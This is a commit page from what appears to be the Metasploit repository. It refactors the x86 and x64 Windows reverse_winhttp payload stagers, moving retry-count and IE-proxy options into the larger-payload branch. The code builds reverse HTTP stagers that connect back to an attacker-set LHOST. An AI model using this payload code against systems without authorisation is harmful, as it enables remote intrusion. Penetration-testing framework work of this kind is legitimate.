Skip to content

Commit 0b59e63

Browse files
author
Brent Cook
committed
keep advanced options on the fat side of the conditional
1 parent 23abc28 commit 0b59e63

File tree

2 files changed

+6
-6
lines changed

2 files changed

+6
-6
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -32,9 +32,7 @@ def generate(opts={})
3232
conf = {
3333
ssl: opts[:ssl] || false,
3434
host: datastore['LHOST'] || '127.127.127.127',
35-
port: datastore['LPORT'],
36-
retry_count: datastore['StagerRetryCount'],
37-
proxy_ie: datastore['PayloadProxyIE']
35+
port: datastore['LPORT']
3836
}
3937

4038
# Add extra options if we have enough space
@@ -47,6 +45,8 @@ def generate(opts={})
4745
conf[:proxy_user] = datastore['PayloadProxyUser']
4846
conf[:proxy_pass] = datastore['PayloadProxyPass']
4947
conf[:proxy_type] = datastore['PayloadProxyType']
48+
conf[:retry_count] = datastore['StagerRetryCount']
49+
conf[:proxy_ie] = datastore['PayloadProxyIE']
5050
else
5151
# Otherwise default to small URIs
5252
conf[:uri] = generate_small_uri

lib/msf/core/payload/windows/x64/reverse_winhttp.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -33,9 +33,7 @@ def generate(opts={})
3333
conf = {
3434
ssl: opts[:ssl] || false,
3535
host: datastore['LHOST'] || '127.127.127.127',
36-
port: datastore['LPORT'],
37-
retry_count: datastore['StagerRetryCount'],
38-
proxy_ie: datastore['PayloadProxyIE']
36+
port: datastore['LPORT']
3937
}
4038

4139
# Add extra options if we have enough space
@@ -48,6 +46,8 @@ def generate(opts={})
4846
conf[:proxy_user] = datastore['PayloadProxyUser']
4947
conf[:proxy_pass] = datastore['PayloadProxyPass']
5048
conf[:proxy_type] = datastore['PayloadProxyType']
49+
conf[:retry_count] = datastore['StagerRetryCount']
50+
conf[:proxy_ie] = datastore['PayloadProxyIE']
5151
else
5252
# Otherwise default to small URIs
5353
conf[:uri] = generate_small_uri

0 commit comments

Comments
 (0)